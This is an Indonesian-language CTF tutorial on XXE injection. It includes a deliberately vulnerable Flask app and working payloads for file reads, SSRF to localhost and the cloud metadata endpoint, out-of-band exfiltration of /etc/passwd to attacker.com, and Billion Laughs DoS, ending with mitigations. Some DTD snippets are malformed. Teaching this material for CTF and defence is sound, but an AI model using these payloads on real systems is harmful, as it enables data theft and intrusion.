

XML External Entity (XXE)

XXE (**XML External Entity Injection**) adalah celah keamanan yang muncul ketika aplikasi memproses XML dan mengizinkan penggunaan **external entity**.

Akibatnya attacker bisa:

- Membaca file server
- Melakukan SSRF
- Scan internal network
- DoS (Billion Laughs)
- Kadang RCE (tergantung parser)

Di CTF Jeopardy, XXE sering dipakai untuk:

- membaca /etc/passwd
- mengambil flag
- SSRF ke localhost
- bypass upload parser XML

1. Dasar XML

Contoh XML normal:

```
<?xml version="1.0"?>
<user>
  <name>Asep</name>
  <role>admin</role>
</user>
```

XML bisa memiliki:

- tag
- attribute
- DTD
- ENTITY

2. Apa itu ENTITY?

ENTITY adalah variabel di XML.

Contoh:

```
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY nama "ASEP">
]>
<user>
  <name>&nama;</name>
</user>
```

Output:

ASEP

3. Apa itu External Entity?

Entity bisa mengambil isi dari file/URL luar.

Contoh:

```
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

Saat diparsing:

&xxe;

akan diganti isi file /etc/passwd.

Inilah inti XXE.

4. Cara Kerja XXE

Flow:

Attacker kirim XML



Parser membaca ENTITY



Parser mengambil file/URL



Isi dikembalikan ke attacker

5. Contoh XXE Dasar di CTF

Vulnerable Code (Python Flask)

```
from flask import Flask, request
from lxml import etree

app = Flask(__name__)

@app.route("/xml", methods=["POST"])
def xml():
    data = request.data

    parser = etree.XMLParser(resolve_entities=True)
    root = etree.fromstring(data, parser)

    return root.text

app.run()

BUG:
resolve_entities=True
```

6. Payload XXE Membaca File

Payload attacker:

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

]>

<data>&xxe;</data>

Server akan mengembalikan:

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

7. Contoh Challenge XXE CTF

Soal

Website menerima XML:

POST /api/upload

Content-Type: application/xml

Response:

<response>Success</response>

Tujuan:

Cari flag di /flag.txt

8. Solusi Challenge

Step 1 — Coba XML biasa

<data>test</data>

Kalau berhasil → parser XML aktif.

Step 2 — Tes XXE

<?xml version="1.0"?>

<!DOCTYPE data [

<!ENTITY test "XXEWORK">

]>

<data>&test;</data>

Kalau response:

XXEWORK

berarti ENTITY diproses.

Step 3 — Read File

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<data>&xxe;</data>
```

Response:

FLAG{XXE_FILE_READ}

9. XXE untuk SSRF

XXE tidak cuma baca file.

Bisa request ke internal server.

Payload:

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "http://127.0.0.1:5000/admin">
]>
<data>&xxe;</data>
```

Parser akan request ke localhost.

Ini mirip SSRF.

10. Blind XXE

Kadang hasil file tidak tampil.

Tetapi server tetap melakukan request keluar.

Attacker memakai server sendiri.

Payload:

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "http://attacker.com/steal">
]>
<data>&xxe;</data>
```

Kalau server request ke attacker → XXE ada.

11. Blind XXE Exfiltration

Lebih advanced.

Payload

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
]>
<data>test</data>
```

Server:

1. baca /etc/passwd
 2. kirim isi ke attacker.com
-

12. XXE via SVG Upload

CTF sering memakai upload SVG.

Karena SVG adalah XML.

Contoh payload SVG:

```
<?xml version="1.0" standalone="yes"?>
```

```
<!DOCTYPE test [  
<!ENTITY xxe SYSTEM "file:///etc/passwd">  
>  
<svg width="100" height="100"  
  xmlns="http://www.w3.org/2000/svg">  
  <text x="10" y="20">&xxe;</text>  
</svg>
```

Upload SVG → file terbaca.

13. XXE via DOCX / XLSX

DOCX dan XLSX sebenarnya ZIP berisi XML.

Kadang parser backend vulnerable.

Di CTF ini sering muncul di:

- invoice parser
 - office upload
 - XML import
-

14. Error-based XXE

Kadang file bocor lewat error.

Payload:

```
<!ENTITY xxe SYSTEM "file:///notfound/%file;">
```

Error akan menampilkan isi file.

15. Billion Laughs Attack (XML DoS)

XXE juga bisa DoS.

Payload:

```
<!DOCTYPE lolz [  
<!ENTITY lol "lol">
```

```
<!ENTITY lol1 "&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>
```

Parser memakan RAM besar.

16. Tool yang Sering Dipakai di CTF

Burp Suite

Kirim payload XML manual.

curl

```
curl -X POST http://target/xml \
-H "Content-Type: application/xml" \
-d @payload.xml
```

XXEinjector

Tool automation XXE.

17. Cara Mendeteksi XXE

Checklist:

Apakah input XML?

Content-Type:

application/xml

text/xml

Apakah ENTITY diproses?

Tes:

```
<!ENTITY test "HELLO">
```

Apakah bisa akses file?

Tes:

file:///etc/passwd

Apakah bisa SSRF?

Tes:

http://127.0.0.1

18. Mitigasi XXE

Disable DTD

Python:

```
parser = etree.XMLParser(resolve_entities=False)
```

Gunakan defusedxml

```
pip install defusedxml
```

Disable external entity

Java:

```
factory.setFeature(  
"http://apache.org/xml/features/disallow-doctype-decl",  
true  
);
```

19. Ringkasan XXE

Fitur	Penjelasan
Bug	XML parser memproses external entity

Fitur	Penjelasan
Dampak	File Read, SSRF, DoS
File umum	/etc/passwd, /flag.txt
Format umum	XML, SVG, DOCX
Teknik CTF	File read + SSRF
Payload inti	<!ENTITY xxe SYSTEM "...">

20. Mini Lab XXE Lokal

Vulnerable App

```
from flask import Flask, request
```

```
from lxml import etree
```

```
app = Flask(__name__)
```

```
@app.route("/parse", methods=["POST"])
```

```
def parse():
```

```
    xml = request.data
```

```
    parser = etree.XMLParser(resolve_entities=True)
```

```
    root = etree.fromstring(xml, parser)
```

```
    return str(root.text)
```

```
app.run(debug=True)
```

Exploit

```
<?xml version="1.0"?>
```

```
<!DOCTYPE foo [  
<!ENTITY xxe SYSTEM "file:///etc/passwd">  
>  
<data>&xxe;</data>
```

21. Pola XXE di CTF

Yang paling sering:

- Upload SVG
 - XML API
 - SOAP request
 - RSS parser
 - SAML parser
 - DOCX import
 - Android XML parser
-

22. Kombinasi XXE + Vulnerability Lain

XXE → SSRF

Akses internal admin panel.

XXE → AWS Metadata

<http://169.254.169.254/latest/meta-data/>

Ambil credential cloud.

XXE → RCE

Kadang parser tertentu bisa execute command.

Lebih jarang di CTF beginner.

23. Contoh Payload Penting

Read file

```
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

SSRF

```
<!ENTITY xxe SYSTEM "http://127.0.0.1">
```

Windows

```
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
```

24. Perbedaan XXE dan LFI

XXE	LFI
Via XML parser	Via parameter file
Pakai ENTITY	Pakai include/read
Bisa SSRF	Biasanya tidak
Butuh XML	Tidak

25. Challenge Idea CTF

Beginner

Read:

```
/flag.txt
```

Medium

Blind XXE + OOB exfiltration.

Hard

XXE + SSRF + internal Redis.